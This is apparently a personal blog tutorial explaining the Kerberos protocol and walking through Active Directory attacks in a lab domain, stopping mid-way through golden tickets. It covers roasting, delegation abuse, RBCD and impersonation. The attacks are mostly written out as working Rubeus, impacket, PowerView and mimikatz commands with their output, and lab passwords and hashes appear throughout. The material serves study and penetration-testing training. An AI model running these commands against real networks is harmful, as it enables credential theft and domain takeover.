Skip to main content
  1. Posts/

Kerberos - Applied Review

·33 mins
cape cpts ad kerberos
Table of Contents

Introduction
#

I initially made a blog post called ‘Understanding Kerberoasting’ that I since removed because I feel it didn’t quite go into enough detail and cover everything I wanted it to.

What Is Kerberos?
#

Kerberos is a stateless authentication protocol that can be used within an Active Directory environment to access services. This service is used when a user logs in to their domain-joined computer and whenever a user wants to access some service on the network.

Kerberos is considered to be stateless because of how it uses tickets to effectively separate a user’s credentials from their request to a certain resource and thus preventing the user’s password from being sent over the network.

I’ll be going to into this in a lot more detail here shortly, but from a high level - Kerberos authenticates users by leveraging symmetric keys maintained by the KDC (Key Distribution Center) to validate the identity of requesting users. (Although there are some features of the protocol that are asymmetric in nature.)

The Auth Flow (Very Short Version)
#

When a user wants to interact with some resource within the network, like a SQL server:

  • The user asks the KDC for a ticket to use as identification for the user.
  • The user will then prove their identity to the KDC and in exchange they are granted a TGT to use for identification.
  • The TGT is then presented when the user wants to access a service and the KDC will give another temporary ticket for accessing that specific service.
  • The service then receives this ticket and is able to grant access based on the group and user information in the ticket.

The Detailed Auth Flow
#

AS-REQ
#

First, it is important to recognize that the KDC has access to all the account passwords within the domain. This allows the protocol to utilize symmetric encryption features after turning these passwords into long-term secret keys by using a string-to-key function. This is also how the users can sign information, which we will see multiple times here.

The AS-REQ (Authentication Server Request) is all about the user asking for a TGT (Ticket-Granting-Ticket) which is used later to prove that the user has been authenticated.

The user constructs a ticket that contains:

  • An Authenticator (which is a combination of a timestamp and their username) encrypted with the user’s own secret key.
  • Their username.

$$AS\text{-}REQ = \text{User ID} + (\text{User Key}(\text{Timestamp}))$$

The KDC receives this and can quickly find the password for that user, generate a secret key based on that user’s password, and decrypt the authenticator with this key. This allows the KDC to conclude that the user is who they claim to be because they were able to sign the authenticator with the correct secret key derived from their password.

It is important to keep in mind that this little step of using an authenticator is not required (while still being enabled by default). If pre-authentication is disabled, you would be able to request a TGT with an arbitrary username, which leads to a vulnerability we will talk about later.

AS-REP
#

Now that the KDC has validated that this user is who they claim to be, it can respond with the following information:

  • A temporary session key encrypted with the requesting user’s secret key.
  • The TGT itself, which is a combination of the user information (like the group, name, etc.) and a copy of the session key which is then encrypted by the KDC’s secret key.

$$TGT = (\text{KDC Key}(\text{User-KDC Session Key} + \text{User Info}))$$

$$AS\text{-}REP = (\text{User Key}(\text{User-KDC Session Key}) + TGT)$$

The user has a TGT, but can’t tamper or really read the information contained within because it is encrypted with the KDC’s secret key. The user can access the session key because it was encrypted with their own secret key.

TGS-REQ
#

The user can now request a TGS (Ticket Granting Service) from the KDC for a specific service. The user will need to make another authenticator because of the stateless nature of the protocol (we will touch on this again shortly). This authenticator is encrypted with the session key given to the user in the previous step. The user also sends over the name of the service it would like to access (specifically, the SPN or service principal name of the service) and the TGS it was given in the previous step.

$$TGT + \text{User-KDC Session Key}(\text{Authenticator}) + \text{Service Name}$$

Kerberos is a stateless protocol, meaning that it doesn’t keep track of sessions between requests, so the KDC needs to use solely the knowledge it has of password hashes to validate this request. When the KDC decrypts the TGT, it will again have access to the user information and the session-specific key ~ which can’t be manipulated without the KDC’s secret key. The KDC can then validate that the session key in the TGT matches that which was submitted by the requesting user ~ if these match then the KDC will continue.

TGS-REP
#

The KDC replies by making a session key meant to be used for communications between the user and the service they are trying to access. This is (in my opinion) the more confusing of the tickets to follow. The TGS itself contains:

  • The requesting user’s information and a copy of the user-service session key, which is then encrypted using the service’s secret key.
  • The service name.
  • A copy of the user-service session key to be used in the next step.

$$TGS = (\text{Service Key}(\text{User-Service Session Key} + \text{User Info}))$$

The TGS itself is then encrypted with the service key which means only the KDC and the target service can decode it. (Although, stealing the TGS itself wouldn’t really help all too much because you wouldn’t be able to access the service - but you would be able to try and crack the password used to make the service’s secret key.)

$$TGS\text{-}REP = (\text{User-KDC Session Key}(\text{User-Service Session Key}) + TGS)$$

AP-REQ
#

The user can create an authenticator using this new session key they were given and send the TGS to the service they want to access.

$$TGS + \text{User-Service Session Key}(\text{Authenticator})$$

The service is able to validate that the provided TGS is legitimate because the user-service key provided matches the one encrypted with the service’s secret key, which should only be accessible by the service itself and the KDC. The service can also validate that the authenticator and user information match and then proceed to grant or deny access based on the user information contained within the TGS.

AP-REP
#

If the user is cleared to authenticate, the service just sends back its own authenticator.

$$\text{User-Service Session Key}(\text{Timestamp})$$

Now that we’ve covered the flow itself, the attacks should make sense as we walk through them.

Ticket Request (Roasting) Attacks
#

AS-REQ Roasting
#

This attack is a bit simpler, as it doesn’t rely on a misconfiguration and just relies on the attacker having a good place within the network to sniff on traffic going to the KDC. When pre-auth is enabled (it is a default), the users will encrypt their authenticator with their own secret key (which is derived form their password) - so you can try to crack these AS-REQ requests as they are sent to the KDC. This does require you to be in a position within the network to see that traffic though.

Exploiting this would be as straight forward as sitting on a network with wireshark or tshark or something similar and analyzing the file with PCredz or something similar to extract meaningful information (if you don’t want to manually search through it). Then you could try and crack this with hashcat’s 7500 mode.

AS-REP Roasting
#

This attack comes in to play when the default setting of pre-authentication for Kerberos is disabled - which makes it so that requesting users do not need to submit authenticators when querying the KDC. So if we sent an AS-REQ to the KDC in this context, the KDC has no validation to perform and just sends back the encrypted TGT and the session key encrypted with the user’s secret key.

The problem with having pre-auth disabled is that anyone can just declare that they are one of those users and the KDC will give them something encrypted with that user’s secret key, which we can try to crack offline.

From Windows
#

We could perform an attack from a windows machine like this:

 .\Rubeus.exe asreproast /format:hashcat /outfile:ASREP-able.txt

Then crack the resulting hashes:

hashcat -m 18200 -a 0 ASREP-able.txt $wordlist

From Linux
#

We can use impacket’s GetNPUsers.py script to first get users within a domain that don’t have pre-auth set:

impacket-GetNPUsers -dc-ip 10.X.X.X 'CAPSULECORP/gabe'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
Name         MemberOf  PasswordLastSet             LastLogon                   UAC      
-----------  --------  --------------------------  --------------------------  --------
jon.schnell            2023-03-30 08:40:23.135840  2026-01-07 16:18:05.234511  0x410200 
jean.mcculloch            2022-10-14 07:00:00.581111  2026-01-07 16:18:05.297021  0x410200 
jake.roy            2022-10-14 07:00:03.377990  2026-01-07 16:18:05.359559  0x410200

If you just add the -request tag to this previous command it will ask for a TGT that you can move on to cracking.

If we aren’t authenticated within the domain we can try throwing a users file at it:

impacket-GetNPUsers CAPSULECORP/ -dc-ip 10.X.X.X -usersfile /users.txt -format hashcat -outputfile /hashes.txt -no-pass

Kerberoasting
#

We can ask the KDC for a TGS from any service as long as we have the SPN (servicePrincipalName) for a given service within the domain. Within the TGS-REP, the user is given a copy of the user-service key that is encrypted using the service’s secret key.

So - just like the last two attacks we can try to crack this. The context difference here though is that usually service accounts are configured with long and random passwords that change often, so cracking is unlikely. However, it is still common to see SPNs tied to user accounts - this is often because not all vendors support them and sometimes can’t even support rotating passwords.

From Windows
#

We can use the following PowerShell script to search for users with an SPN:

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
    $userEntry = $result.GetDirectoryEntry()
    Write-host "User" 
    Write-Host "===="
    Write-Host $userEntry.name "(" $userEntry.distinguishedName ")"
        Write-host ""
    Write-host "SPNs"
    Write-Host "===="     
    foreach($SPN in $userEntry.servicePrincipalName)
    {
        $SPN       
    }
    Write-host ""
    Write-host ""
}

We can also use the Setspn built-in Windows binary to search for SPN accounts.

If we want to use PowerView to find these we can like so:

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -SPN

We can also use PowerView to perform the attack itself and get the tickets to crack:

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation
PS C:\Tools> cat .\tgs.csv

Instead of this manual method, Invoke-Kerberoast will be faster:

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Invoke-Kerberoast

Alternatively, we can use Rubeus to perform the same:

Rubeus.exe kerberoast /nowrap

Another important thing to note is that in the event that you don’t have access to an account but you do know of an account with pre-auth disabled, you would be able to perform Kerberoasting from an unauthenticated perspective if you are able to get a list of SPNs too.

From Linux
#

We can typically just run impacket’s GetUserSPNs script:

impacket-GetUserSPNs -dc-ip 10.X.X.X 'CAPSULECORP.LOCAL/gabe' -request

Delegation Attacks
#

Introduction to Delegation
#

The normal function of Kerberos is to allow a user to authenticate to a service and use it and delegation allows that service to authenticate to some other service on that user’s behalf.

Imagine you authenticate to some web server that has a GUI for running database queries, but you (as the user) are only privileged to access certain tables and information within that database. The web server can use delegation to authenticate to the database as if it were the user and thus only access those resources the user is allowed to see.

Unconstrained Delegation
#

Unconstrained delegation is when the service (a web server in our example) is able to authenticate as if they were the user to any other service - a dangerous permission for sure.

This can be enabled in Active Directory under the ‘Delegation’ tab of the account by checking the ‘Trust this computer for delegation for any service (Kerberos only)’ box. Typically only administrators will have the ability to change this attribute for a given account, but any user with the SeEnableDelegationPrivilege is able to perform this specific action.

When this option is enabled for an account, you can validate this by looking at that user’s UAC flags and seeing TRUSTED_FOR_DELEGATION. When the flag is set on a service account, and a user makes a request to that service using Kerberos the KDC will add a copy of the user’s TGT to the TGS ticket.

User Makes TGS Request to the KDC:

$$TGS = (\text{Service A Key}(\text{User-SvcA Session Key} + \text{User Info}))$$

KDC Sees Service A is trusted for delegation, so it embeds the user’s TGT:

$$TGS_A = (\text{Service A Key}(\text{User-SvcA Session Key} + \text{User Info} + \mathbf{TGT_{User}}))$$

$$TGS\text{-}REP = (\text{User-KDC Session Key}(\text{User-SvcA Session Key}) + TGS_A)$$

This allows the service account to extract and use the TGT, which in turn can be submitted to the KDC with any service name in a TGS-REQ in order to request access to any service with the privileges of that user account.

Unconstrained Delegation with Computer Accounts
#

When a computer account is configured with unconstrained delegation and a user requests a service ticket, that user’s TGT will be contained within the TGS and set as forward-able so that the service can in turn use it to authenticate to other services.

You can use PowerView to check and see if there is a user or computer account with unconstrained delegation:

Get-DomainComputer -Unconstrained

---SNIP---

useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
whencreated                   : 10/14/2025 12:21:12 PM
primarygroupid                : 515
pwdlastset                    : 3/23/2025 10:20:01 AM
msds-supportedencryptiontypes : 28
name                          : SQL01
dnshostname                   : SQL01.CAPSULECORP.LOCAL

Typically to exploit this we just need access to a service account with unconstrained delegation enabled, then we will try and get some user to authenticate to our service. We can either wait for another user to authenticate to the service or leverage some bug (like those leveraged by coercer) to force some other account to authenticate to the service.

If we already have control of the service host we can use a tool like Rubeus to listen for incoming TGTs:

.\Rubeus.exe monitor /interval:5 /nowrap

Regardless of how we get the user to authenticate to the service we control, we will be given a copy of their TGT.

krb-1

In this case, we can observe that this user has read access to a specific share:

krb-2

Now that we have that user’s TGT, we can just use it to get a TGS for the CIFS (Common Internet File System) service - and we should be able to access that share.

.\Rubeus.exe asktgs /ptt /nowrap /service:cifs/dc01.capsulecorp.local /ticket:<ticket here>

Coercing Authentication from Dc Using PrinterBug
#

We can also use certain known exploits like MS-RPRN, to coerce authentication from a certain machine to the one we control. In this case I will use SpoolSample to coerce the domain controller to authenticate to the SQL server I control.

.\SpoolSample.exe dc01.capsulecorp.local sql01.capsulecorp.local

If this succeeds, we should see the TGT for DC01 and (because SQL01 is trusted for delegation) we can renew that ticket (Rubeus.exe renew /ticket:<ticekt_here> /ptt) and then use mimikatz or some similar tool to grab the hash of any user we want including krbtgt.

Unconstrained Delegation with User Accounts
#

Typically when you configure unconstrained delegation, it will be for a service account to act on the behalf of another user, but this isn’t always the case. Sometimes integrations of certain services require a user account to act as the service account, and therefore the user account would want to have TRUSTED_FOR_DELEGATION set in their UAC attribute.

We can use PowerView to look for this:

Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

If we have GenericWrite over a user account that is trusted for delegation, we can move forward with an attack. The reason we need special permissions here is because Kerberos is service-based and prefers to send tickets to an account with an SPN. (This is why we use GetUserSPNs when roasting, because those are the accounts that can be treated like a service). So if there is a user with trusted for delegation set AND we have GenericWrite over that account, we can add an SPN to it and start to attack.

This mind map from nwodtuhs on Twitter will map out what we need to do in this scenario and the previous one:

krb-3

In this case imagine we have an account gabe that has GenericWrite over reed, who is configured for delegation. We can add an SPN to the reed account, add a DNS record for that SPN pointing to our machine, listen for incoming authentication attempts, and convince or coerce a victim to connect to our host - giving us their delegated TGT.

We can start with making the DNS record:

└─$ dnstool -u CAPSULECORP.LOCAL\\gabe -p P@ssword -r roguecomputer.CAPSULECORP.LOCAL -d 10.10.X.X --action add 10.X.X.X
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

#validate the record

└─$ nslookup roguecomputer.capsulecorp.local dc01.capsulecorp.local
Server:		dc01.capsulecorp.local
Address:	10.X.X.X#53

Name:	roguecomputer.capsulecorp.local
Address: 10.10.X.X

Then we can add an SPN to the account we have write privileges over pointing at the DNS record we made:

└─$ addspn -u capsulecorp.local\\gabe -p P@ssword --target-type samname -t reed -s CIFS/roguecomputer.capsulecorp.local dc01.inlanefreight.local

Now we set up our listener:

#we need to convert our password into hash format for this
└─$ echo -n "P@ssword" | iconv -t UTF-16LE | openssl md4
MD4(stdin)= 13b29964cc2480b4ef454c59562e675c

└─$ krbrelayx -hashes :13b29964cc2480b4ef454c59562e675c 
---SNIP---
[*] Running in unconstrained delegation abuse mode using the specified credentials.
---SNIP---

We can use the printer bug again to get the DC to authenticate to our listener:

└─$ printerbug capsulecorp.local/gabe:'P@ssword'@10.X.X.X roguecomputer.capsulecorp.local

Then in our relay listener, we should get a copy of the DC’s TGT saved as a ccache file and we can export this as an environment variable and then run something like secretsdump if we want:

└─$ export KRB5CCNAME=dc01.ccache

└─$ impacket-secretsdump -k -no-pass dc01.capsulecorp.local  -dc-ip 10.X.X.X

Constrained Delegation
#

Unlike unconstrained delegation where the service has the ability to access any other service that the requesting user has access to, constrained delegation is limited to a defined list of services.

This can be enabled by administrators or users with SeEnableDelegationPrivilege by selecting the ‘Trust this computer for delegation to specified services only’ option in the delegation section of an account in AD. An attribute is also modified when an entry for a target service is added. If we wanted a web server to authenticate on the user’s behalf to a database, we would set the web server’s msDS-AllowedToDelegateTo attribute to point towards the name of the database service.

Also unlike unconstrained delegation, constrained delegation has a unique way of accessing resources on behalf of other users. We can walk through the whole process slowly:

The user asks Service A to authenticate normally (AP-REP):

$$TGS + \text{User-Service Session Key}(\text{Authenticator})$$

Service A asks the KDC for their own TGT, then sends it along with the user’s TGS and the name of Service B that needs to be accessed:

$$\text{TGS-REQ} = ( \underbrace{\text{TGT}_{\text{SvcA}}}_{\text{Svc A Identity}} + \underbrace{\text{TGS}_{\text{A}}}_{\text{User Evidence}} + \text{Req: Service B} )$$

The KDC validates that this service has the right to delegate to that specific service, and provides a TGS to that service if all goes well.

$$TGS_B = (\text{Service B Key}(\text{User-SvcB Session Key} + \text{User Info}))$$

$$TGS\text{-}REP = (\text{SvcA-KDC Session Key}(\text{User-SvcB Session Key}) + TGS_B)$$

This only works if all the proper conditions are met. Service A needs the msDS-AllowedToDelegateTo attribute set with a value pointing to Service B. The KDC also needs to verify that the copy of the User-to-ServiceA-TGS is forward-able (this is the default, but it can be disabled if the Account is sensitive and cannot be delegated flag is set in UAC for the User.

S4U2Self & S4U2Proxy
#

For me this is where some of these attacks can get confusing to understand because of all the edge cases where a slightly different configuration can change your entire approach to exploitation. A service can’t just ask for a ticket for someone without some kind of proof - this proof that we will provide is a forward-able service ticket.

S4U2Proxy is what allows a service to get a service ticket for some other service on the behalf of another user. (This is really just what constrained delegation is, but this extension is the way a service makes these requests.)

It is important to keep in mind though that when a user performs a TGS-REQ and specifies the service they want to authenticate to (assuming they aren’t marked as a sensitive account or in the protected users group), that TGS will be marked as forward-able and only forward-able tickets can be used with S4U2Proxy.

S4U2Self is the extension used when protocol transitions are enabled ~ or in AD on the service account’s delegation configuration when we set Trust this computer for delegation to specified services only > Use any authentication protocol. Because it needs to support any authentication protocol, this service is able to ask the KDC for a forward-able ticket to itself on behalf of any user. This is not the case though if ‘Use Kerberos Only’ is set in the delegation configuration and the resulting ticket will not be forward-able.

Protocol Transition Is Enabled
#

Based on what we know now - if we are in control of a service where constrained delegation is configured for some other service and we can use any authentication protocol (protocol transition is enabled), then we can use S4U2Self to get a forward-able TGS to our own service as if we were that user. We can turn around with that same TGS using S4U2Proxy to point the ticket at some other backend service, allowing us to effectively use the privileges most users in the domain on the services we are permitted to delegate to.

What if protocol transition is disabled (‘Use Kerberos Only’), but we still have control over a constrained delegation account?

We can answer this in more detail using the example at the end.

Additional Context on Service Accounts and Service Classes
#

So the list of SPNs in the msds-allowedtodelegateto attribute of our attacker-controlled service account is set in stone, but the actual service class (like HTTP, LDAP, WWW, CIFS, etc.) can be manipulated without issue.

From Windows
#

First we want to look for computer accounts that are marked as TRUSTED_TO_AUTH_FOR_DELEGATION. We can do this with PowerView:

#import the powerview module
Import-Module .\PowerView.ps1

#get list of constrained delegation machine accounts
Get-DomainComputer -TrustedToAuth

We are looking for the following fields and their values:

#the name of the account
samaccountname

#this will show the services that the account has permission to delegate access to
msds-allowedtodelegateto

#this will shot the UAC flag that signifies delegation being enabled if present
useraccountfontrol

Note: TRUSTED_TO_AUTH_FOR_DELEGATION will not be set if the service is configured for Kerberos only.

If you don’t already have access to a machine account’s credential, you can grab the NTLM hash from mimikatz:

.\mimikatz.exe privilege::debug sekurlsa::msv exit

Then, we can choose the user we want to impersonate for delegation using S4U2Self and Rubeus can automatically handle the tickets:

.\Rubeus.exe s4u /nowrap /ptt /impersonateuser:Administrator /msdsspn:www/SQL01.capsulecorp.local /altservice:HTTP /user:WS01$ /rc4:<WS01-hash>

This will request a TGT for Administrator to WS01$ and then send that resulting ticket to the domain controller using S4U2Proxy after modifying the service class to the one we set.

You can then view your ticket with klist and then use it how you see fit:

Enter-PSSession sql01.capsulecorp.local

[sql01.capsulecorp.local]: PS C:\Users\administrator.CAPSULECORP\Documents> whoami

capsulecorp\administrator

From Linux
#

We are basically going to follow the same steps just using Linux tooling. First we validate the delegation configuration:

└─$ impacket-findDelegation CAPSULECORP.LOCAL/gabe.roy:'$m00th-P@ssw0rd!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

AccountName    AccountType  DelegationType                      DelegationRightsTo                SPN Exists 
-------------  -----------  ----------------------------------  --------------------------------  ----------
callum.dixon   Person       Unconstrained                       N/A                               No         
gabe.roy  Person       Constrained w/ Protocol Transition  TERMSRV/DC01.CAPSULECORP.LOCAL  Yes        
gabe.roy  Person       Constrained w/ Protocol Transition  TERMSRV/DC01                      Yes        
DMZ01$         Computer     Constrained w/ Protocol Transition  www/WS01.CAPSULECORP.LOCAL      No         
DMZ01$         Computer     Constrained w/ Protocol Transition  www/WS01                          No         
SQL01$         Computer     Unconstrained                       N/A                               Yes        
DC01$          Computer     Unconstrained                       N/A                               Yes   

Seeing that we have constrained delegation rights over TERMSRV/DC01.CAPSULECORP.LOCAL, we can go ahead and request our ticket:

└─$ impacket-getST -spn TERMSRV/DC01 'CAPSULECORP.LOCAL/gabe.roy:$m00th-P@ssw0rd!' -impersonate Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Same process as last time, we impersonate using S4U2Self and then forward this to the KDC using S4U2Proxy. We can export this ticket as an environment variable and then connect to the machine using psexec as if we were the Administrator:

└─$ impacket-psexec -k -no-pass CAPSULECORP.LOCAL/administrator@DC01 -debug
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[+] StringBinding ncacn_np:DC01[\pipe\svcctl]
[+] Using Kerberos Cache: ./Administrator.ccache
[+] SPN CIFS/DC01@CAPSULECORP.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for TERMSRV/DC01@CAPSULECORP.LOCAL
[+] Using TGS from cache
[+] Changing sname from TERMSRV/DC01@CAPSULECORP.LOCAL to CIFS/DC01@CAPSULECORP.LOCAL and hoping for the best
[*] Requesting shares on 10.129.205.35.....
[*] Found writable share ADMIN$
[*] Uploading file qwkvvOhY.exe
[*] Opening SVCManager on 10.129.205.35.....
[*] Creating service dATb on 10.129.205.35.....
[*] Starting service dATb.....
[+] Using Kerberos Cache: ./Administrator.ccache
[+] SPN CIFS/DC01@CAPSULECORP.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for TERMSRV/DC01@CAPSULECORP.LOCAL
[+] Using TGS from cache
[+] Changing sname from TERMSRV/DC01@CAPSULECORP.LOCAL to CIFS/DC01@CAPSULECORP.LOCAL and hoping for the best
[+] Using Kerberos Cache: ./Administrator.ccache
[+] SPN CIFS/DC01@CAPSULECORP.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for TERMSRV/DC01@CAPSULECORP.LOCAL
[+] Using TGS from cache
[+] Changing sname from TERMSRV/DC01@CAPSULECORP.LOCAL to CIFS/DC01@CAPSULECORP.LOCAL and hoping for the best
[!] Press help for extra shell commands
[+] Using Kerberos Cache: ./Administrator.ccache
[+] SPN CIFS/DC01@CAPSULECORP.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for TERMSRV/DC01@CAPSULECORP.LOCAL
[+] Using TGS from cache
[+] Changing sname from TERMSRV/DC01@CAPSULECORP.LOCAL to CIFS/DC01@CAPSULECORP.LOCAL and hoping for the best
Microsoft Windows [Version 10.0.17763.2628]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Resource-Based Constrained Delegation (RBCD)
#

This type of delegation shifts the responsibility of delegation to the final resource being accessed, where in unconstrained and constrained delegation the responsibility is placed on the service that ends up forwarding authentication.

In our previous examples the delegation was configured on the web server, which required elevated privileges. Now we would just be configuring delegation on the database service, and it won’t require the database service itself to get any advanced privileges.

This relies on security descriptors instead of an allow-list of SPNs - an admin defines which principals can request Kerberos tickets for a particular user. Now when the service gets a request to grant access on behalf of some other user, the KDC just checks the security descriptors of that service to see if it includes msDS-AllowedToActOnBehalfOfOtherIdentity attribute set with a value matching that of the requesting service.

In order to actually exploit this you will need:

  • Access to a user or group that has permissions to modify the msDS-AllowedToActOnBehalfOfOtherIdentity property on a computer. (This is typically granted with GenericWrite, GenericAll, WriteProperty, or WriteDACL over some object.)
  • Control of one other object that has an SPN.

From Windows
#

First we want to find accounts that fit these conditions, and PowerShell scripts can be really handy here:

# Import PowerView (Adjust path as needed)
# Import-Module C:\Tools\PowerView.ps1

# Don't ask me about if this is stealthy or not as this isn't my concern and I honestly don't know if these kinds of events would get flagged. 

Write-Host " #####    ###    ####   #####   ####    ####   #####   #### "-ForegroundColor Cyan
Write-Host " #       #   #   #   #  #       #   #   #   #  #       #   #"-ForegroundColor Cyan
Write-Host " # ###   #####   ####   ###     ####    ####   #       #   #"-ForegroundColor Cyan
Write-Host " #   #   #   #   #   #  #       #  #    #   #  #       #   #"-ForegroundColor Cyan
Write-Host " #####   #   #   ####   #####   #   #   ####   #####   #### "-ForegroundColor Cyan

Write-Host "1. Building User Cache..." -ForegroundColor Cyan

# --- STEP 1: Create a Lookup Table of All Users ---
# We fetch all users one time and store them.
$UserCache = @{}
$Users = Get-DomainUser -Properties objectsid, samaccountname
foreach ($User in $Users) {
    # Map the SID (Key) to the Username (Value)
    $UserCache[$User.objectsid.ToString()] = $User.samaccountname
}

Write-Host "2. Scanning Computer ACLs..." -ForegroundColor Cyan

# --- STEP 2: Get Computer ACLs and Match against Cache ---
$Rights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"

# Get ACLs for all computers in one request
Get-DomainObjectAcl -LDAPFilter "(objectClass=computer)" -ResolveGUIDs | ForEach-Object {
    
    # --- STEP 3: The High-Speed Check ---
    # We check if the SID in the ACL exists in our UserCache.
    # If it does, we know it is a USER and we know their Name immediately.
    if ($UserCache.ContainsKey($_.SecurityIdentifier.ToString())) {
        
        # Check if the rights match your requirements
        if ($_.ActiveDirectoryRights -match ($Rights -join '|')) {
            
            # Create a clean result object
            [PSCustomObject]@{
                User           = $UserCache[$_.SecurityIdentifier.ToString()]
                Computer       = $_.ObjectDN.Split(',')[0].Replace("CN=","")
                Right          = $_.ActiveDirectoryRights
                Result         = "Positive Match"
            }
        }
    }
} | Format-Table -AutoSize

This should give you a user that has one of those dangerous privileges over some computer object:

krb-4

Next we want to access some other object that has an SPN . The easiest way to do this most of the time is to create a computer account because by default in AD each user can add 10 because that is the default value of the ms-DS-MachineAccountQuota attribute for authenticated users.

We can use PowerMad for this:

Import-Module .\Powermad.ps1

New-MachineAccount -MachineAccount fakemachine -Password $(ConvertTo-SecureString "GoodPass123" -AsPlainText -Force)

Now we can move on to add this computer to the trust list of the target computer (in this case DC01, assuming we have credentials for that account we found earlier) by performing the following:

  • Get the computer SID
  • Make a security descriptor
  • Set msDS-AllowedToActOnBehalfOfOtherIdentity on this machine
  • Modify the target computer
Import-Module .\PowerView.ps1

$ComputerSid = Get-DomainComputer fakemachine -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

$credentials = New-Object System.Management.Automation.PSCredential "CAPSULECORP\prince.vegeta", (ConvertTo-SecureString "Pr1nce-0f-All-S41yanz!" -AsPlainText -Force)

Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose

Finally, we can move on to get a hash for this machine account and then request a TGT as an arbitrary user (administrator in this case).

.\Rubeus.exe hash /password:GoodPass123 /user:fakemachine$ /domain:capsulecorp.local

 .\Rubeus.exe s4u /user:fakemachine$ /rc4:<result-from-previous> /impersonateuser:administrator /msdsspn:cifs/dc01.capsulecorp.local /ptt

Remember, this worked because we had access to one account with WriteProperty on the DC01 machine. So to exploit this we edit the msds-allowedtoactonbehalfofotheridentity property of a machine account we created. A more detailed, play-by-play example can be found here.

From Linux
#

Same scenario ~ imagine that we have access to some account with dangerous permissions over DC01 and we want to add a computer account and modify it so that it is able to act on the behalf of an arbitrary user.

└─$ impacket-addcomputer -computer-name 'fakecomputer$' -computer-pass GoodPass123 -dc-ip 10.X.X.X capsulecorp.local/prince.vegeta

└─$ impacket-rbcd -dc-ip 10.X.X.X -delegate-to DC01$ -delegate-from fakecomputer$ capsulecorp.local/prince.vegeta:Pr1nce-0f-All-S41yanz! -action write

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] fakecomputer$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     fakecomputer$   (S-1-5-21-1870146311-1183348186-593267556-4103)

└─$ impacket-getST -spn cifs/DC01.capsulecorp.local -impersonate Administrator -dc-ip 10.X.X.X capsulecorp.local/fakecomputer:GoodPass123   

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.capsulecorp.local@CAPSULECORP.LOCAL.ccache

SPN-less RBCD
#

If we aren’t able to create a machine account or if the machine we are targeting doesn’t have an SPN, we can use a strategy discovered by James Forshaw.

This technique does render the accounts unusable for normal users, so avoid using this if you don’t have to. We need to:

  • Get a TGT using the NT hash of a User
  • Change the user’s password to match the ticket session key, allowing the KDC to decrypt the ticket
  • Request the service ticket
└─$ pypykatz crypto nt 'Pr1nce-0f-All-S41yanz!'

└─$ impacket-getTGT CAPSULRCORP.LOCAL/prince.vegeta -hashes :79c9d96782f7e86b97b68b599e2939b0 -dc-ip 10.X.X.X

└─$ impacket-describeTicket prince.vegeta.ccache| grep 'Ticket Session Key'
[*] Ticket Session Key            : 36c973febe8913b82749f96ce089933a

└─$ impacket-changepasswd CAPSULRCORP.LOCAL/prince.vegeta@10.X.X.X -hashes :79c9d96782f7e86b97b68b599e2939b0 -newhash :36c973febe8913b82749f96ce089933a

└─$ export KRB5CCNAME=./prince.vegeta.ccache

└─$ impacket-getST -u2u -impersonate Administrator -spn TERMSRV/DC01.CAPSULECORP.LOCAL -no-pass CAPSULECORP.LOCAL/prince.vegeta -dc-ip 10.X.X.X 

Now we can move along to talking about specific types of ticket abuse techniques.

Ticket Abuse
#

Golden Tickets
#

Domain Controllers use the krbtgt account’s key to encrypt TGTs that are given to users, so within any AD environment the krbtgt account technically has the most power.

This also means that if you are able to determine that secret or the password used by the krbtgt account, you can decipher the contents of any TGT and modify it as you see fit (like by making it appear as if the user declared in that TGT is in the Domain Admins group). This forged ticket would be referred to as a Golden Ticket.

Typically you would use this to establish persistence - once you achieve full compromise of the domain, you can perform a DCSync to get the NTLM hash of the krbtgt account and make your own tickets.

The information we need to forge a ticket is as follows:

  • Domain Name
  • Domain SID
  • User to impersonate
  • krbtgt user hash

From Windows
#

First we get the Domain SID:

Import-Module .\PowerView.ps1

Get-DomainSID

